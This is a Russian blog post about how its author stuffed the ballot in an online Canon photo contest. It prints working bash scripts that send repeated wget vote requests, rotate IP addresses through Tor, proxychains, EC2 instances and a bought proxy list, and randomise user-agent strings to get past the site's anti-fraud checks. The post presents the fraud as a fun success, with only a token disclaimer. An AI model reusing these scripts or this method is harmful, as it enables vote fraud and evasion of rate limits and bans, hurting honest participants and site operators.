Pull to refresh

Теория и практика накрутки голосов

Reading time 4 min
Views 94K
Дисклеймер: настоящий текст не претендует ни на объективность, ни на правдивость, ни на правильность. Все нижеописанное было сделано только «just for fun» и не ради каких-либо призов или поощрений. Скрипты и логика их работы заведомо находятся на уровне быдлокода, я это понимаю и признаю. Замечания принимаются с благодарностью.

Два для назад я наткнулся на конкурс «Canon: Все краски мира». И сразу обратил внимание на простую систему голосования — не надо было не регится, ни вводить капчу, а просто кликать на кнопку «Проголосовать за эту работу».
Собственно, загрузив пару фотографий, я принялся экспериментировать.
1)Можно проголосовать один раз с одного компьютера. Через некоторое время можно проголосовать из другого браузера.
2)При подключении через прокси или впн, или через 3g можно было проголосовать еще раз.

Хорошо, ставим Tor+Vidalia(еще на виндовом компе). Запускам тор — можно голосовать. Перезапускаем — нельзя. Убиваем куки, меняем юзерагент — опять можно. Хорошо.
Открываем исходник страницы, ищем место с кнопкой голосования:

<fоrm action="/work/vote" method="post">
<inрut type="hidden" name="photo_id" value="1522" />
<inрut type="submit" name="vote" value="Проголосовать за эту работу" />
</fоrm>


Абсолютно просто. При нажатии на кнопку выполняется запрос konkurs.photonews.ru/work/vote?photo_id=1522
Выполнить его можно с помощью хоть wget:
wget -O /dev/null --referer="http://konkurs.photonews.ru/work/show/1522" ttp://konkurs.photonews.ru/work/vote?photo_id=1522

Теперь надо решать вопрос автоматической смены IP-адреса. Тут и думать нечего, emerge tor. Но вот загвоздка — wget не работает с socs5 прокси. Получасовые поиски вывели на программу proxychains

Результат выглядел так:

LINK="http://konkurs.photonews.ru/work/vote?photo_id=1522"
REFERER1="http://konkurs.photonews.ru/work/vote?photo_id=1522"

while true
do
sudo /etc/init.d/tor restart
USERA1='Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; SV1)'
proxychains wget -nv -O /dev/null --referer="$REFERER1" --user-agent="$USERA1" $LINK
done


Cчетчик тикает, голоса прибавляются. Видимо, это стало заметно не только мне, но и администратору конкурса.
Была прикручена авторизация по useragent — это стало заметно по резкому уменьшению темпа накрутки — до голоса в час.
Я принял это как вызов, и пошел на www.useragentstring.com/pages/useragentstring.php откуда за 10 минут набрал файл состоящий из 500кб разных идентификаторов.

После модификации скрипт начал выглядеть так(Осторожно, быдлокод и странные решения простых задач!):

RANGE=4000
LINK="http://konkurs.photonews.ru/work/vote?photo_id=1522"
REFERER1="http://konkurs.photonews.ru/work/vote?photo_id=1522"
cat useragents|awk '{print rand()"\t"$0}'|sort|awk -F'\t' '{print $2}' >useragents2 ; mv useragents2 useragents

while true
do
sudo /etc/init.d/tor restart
USERA1=`number=$RANDOM ; let "number %= $RANGE"; head -n $number useragents |tail -n1`
proxychains wget -nv -O /dev/null --referer="$REFERER1" --user-agent="$USERA1" $LINK
done


Такой способ позволил набрать еще 100 голосов к 50, полученным ранее.
Ввиду малой скорости работы(время для перезапуска тора) было решено запустить 5 instance на amazon ec2, rкоторые за 58 часов машинного времени наработали еще 150 голосов, и на этом заглохли. Толи исчерпались уникальные выходные ноды, толи администратор забанил ноды тор-а, не знаю.

Хорошо. На freeproxy.ru за 60 рублей был куплен список на 1000 http-прокси. И код(в очередной раз) подвергся изменениям:

RANGE=5000
LINK="http://konkurs.photonews.ru/work/vote?photo_id=1522"
REFERER1="http://konkurs.photonews.ru/work/vote?photo_id=1522"
c1=1
cat useragents|awk '{print rand()"\t"$0}'|sort|awk -F'\t' '{print $2}' >useragents2 ; mv useragents2 useragents

while true
do
c1=$(($c1+1))
echo $c1
proxy_c1=`head -n $c1 proxy |tail -n1`
USERA1=`number=$RANDOM ; let "number %= $RANGE"; head -n $number useragents |tail -n1`
wget -e http_proxy=$proxy_c1 -nv -O /dev/null --referer="$REFERER1" --user-agent="$USERA1" $LINK
done


Возникший затык с мертвостью некоторых прокси вылечился добавлением "&" в конец строки с wget-ом, и введением задержки. Ну и убиванием кучи висящих процессов вгет-а через полчаса. =)

1300 проходов принесли еще 500 голосов за пару минут, после чего я выключил скрипт, и затаился. На утро, после нескольких пробных запусков, стало понятно что дыру закрыли. Как — незнаю. Мне уже, честно говоря, надоело.

PS: Голосования в подобных конкурсах — всегда двоякая вещь. Либо защищаемся от накруток, и получаем вялотекущее(или вообще отсутствующее) голосование, либо открываем двери и получаем активное бурление говнголосов. Но увы, не всегда честное.
И, если повезет — необходимость отменять результаты или удалять работы из-за явной накрутки, видимой даже простым пользователями.
PPS: Все вышеописанное является плодом фантазии. Ссылки рандомные.
PPPS: Если подскажете более подходящий блог — буду рад.
Tags:
Hubs:
If this publication inspired you and you want to support the author, do not hesitate to click on the button
+22
Comments 33
Comments Comments 33

Articles